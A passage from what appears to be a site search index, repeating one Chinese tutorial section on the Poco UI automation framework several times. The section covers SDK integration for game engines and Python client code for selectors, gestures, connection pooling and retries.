UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#跨引擎适配"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#连接池管理"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#批量操作优化"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#稳定性增强"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#日志与调试"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#群控集成示例"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco SDK，启动 RPC 服务 建立连接: 控制端通过 WebSocket 与 SDK 通信 UI 树获取: SDK 遍历游戏引擎的 UI 控件，生成控件树 指令执行: 接收控制端指令，操作对应 UI 控件 结果回传: 将操作结果和状态信息返回控制端 SDK 集成方式 Unity 引擎集成: // Unity 项目中集成 Poco SDK using Poco; public class PocoManager : MonoBehaviour { void Start() { // 启动 Poco 服务 var poco = new PocoServiceBuilder() .SetPort(5001) .SetDebugMode(true) .Build(); poco.Start(); } } Cocos2d-x 集成: // Cocos2d-x 项目集成 bool AppDelegate::applicationDidFinishLaunching() { // 初始化 Poco 服务 poco::PocoManager::getInstance()-\u003estart(); return true; } Android 原生集成: public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // 启动 Poco 服务 Poco.start(\"poco\", 5001); } } Python 控制端使用 基础连接与操作: from poco.drivers.unity3d import UnityPoco from poco.drivers.android.uiautomation import AndroidUiautomationPoco # Unity 游戏连接 poco = UnityPoco(('192.168.1.100', 5001)) # Android 原生应用连接 poco = AndroidUiautomationPoco( use_airtest_input=True, screenshot_each_action=False ) # 基本操作 poco('Button').click() # 点击按钮 poco('InputField').set_text('test') # 输入文本 poco('ScrollView').swipe('up') # 滑动操作 # 等待元素出现 poco('LoadingPanel').wait_for_disappearance() # 等待加载完成 高级选择器: # 属性选择 poco(text='确定').click() poco(name='startBtn', enabled=True).click() poco(type='Button', visible=True).click() # 相对位置选择 poco('username').sibling('password') # 兄弟节点 poco('title').parent() # 父节点 # 条件过滤 buttons = poco('Button').filter( lambda x: x.get_text().startswith('确定') ) 游戏专用操作: # 拖拽操作 poco.drag_to([0.2, 0.2], [0.8, 0.8]) # 多点触控 poco.pinch(in_or_out='in', center=[0.5, 0.5], percent=0.6) # 等待游戏状态 def wait_for_battle_end(): return poco('BattleResult').exists() poco.wait_for_all(wait_for_battle_end, timeout=60) 跨引擎适配 def get_poco_instance(engine_type, device_info): \"\"\"根据引擎类型创建对应的 Poco 实例\"\"\" if engine_type == 'unity': return UnityPoco(device_info['addr']) elif engine_type == 'cocos': return CocosJSPoco(device_info['addr']) elif engine_type == 'unreal': return UE4Poco(device_info['addr']) elif engine_type == 'android': return AndroidUiautomationPoco() else: raise ValueError(f\"Unsupported engine: {engine_type}\") 连接池管理 import queue class PocoConnectionPool: def __init__(self, max_connections=10): self.pool = queue.Queue(max_connections) self.max_connections = max_connections def get_connection(self, addr): try: return self.pool.get_nowait() except queue.Empty: return UnityPoco(addr) def return_connection(self, conn): try: self.pool.put_nowait(conn) except queue.Full: pass # 丢弃多余连接 批量操作优化 def batch_get_elements(poco, selectors): \"\"\"批量获取多个元素，减少 RPC 调用\"\"\" elements = {} for name, selector in selectors.items(): try: elements[name] = poco(selector) except: elements[name] = None return elements # 使用示例 ui_elements = batch_get_elements(poco, { 'start_btn': 'StartButton', 'settings_btn': 'SettingsButton', 'exit_btn': 'ExitButton' }) 稳定性增强 from functools import wraps import time def retry_on_failure(max_retries=3, delay=1): def decorator(func): @wraps(func) def wrapper(*args, **kwargs): for attempt in range(max_retries): try: return func(*args, **kwargs) except Exception as e: if attempt == max_retries - 1: raise e print(f\"Attempt {attempt ","date":"2025-02-03","objectID":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/:1:3","tags":["Docker","代理池","Unity游戏","自动化","Android","ARM汇编"],"title":"工程化：自动化与群控系统","uri":"/reverse_engineering/android/01-recipes/automation/automation_and_device_farming/#性能优化建议"},{"categories":null,"collections":null,"content":"c) Poco 自动化技术深度解析 Poco 是网易推出的 UI 自动化测试框架，专为游戏和复杂应用设计，是 Airtest 项目的核心组件之一。 核心架构与原理 ┌─────────────────────────────────────────────────────────┐ │ 控制端 (PC) │ │ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Poco Client │──│ RPC 通信 │──│ 测试脚本 │ │ │ └─────────────┘ └──────────────┘ └──────────────┘ │ └─────────────────────────────────────────────────────────┘ │ WebSocket/Socket │ ┌─────────────────────────────────────────────────────────┐ │ 设备端 (手机/模拟器) │ │ ┌──────────────────────────────────────────────────┐ │ │ │ Poco SDK (嵌入游戏/应用) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ │ │ RPC 服务 │ │ UI树抓取 │ │ 指令执行器 │ │ │ │ │ └──────────┘ └──────────┘ └──────────────┘ │ │ │ └──────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ 工作流程: SDK 嵌入: 游戏/应用集成 Poco 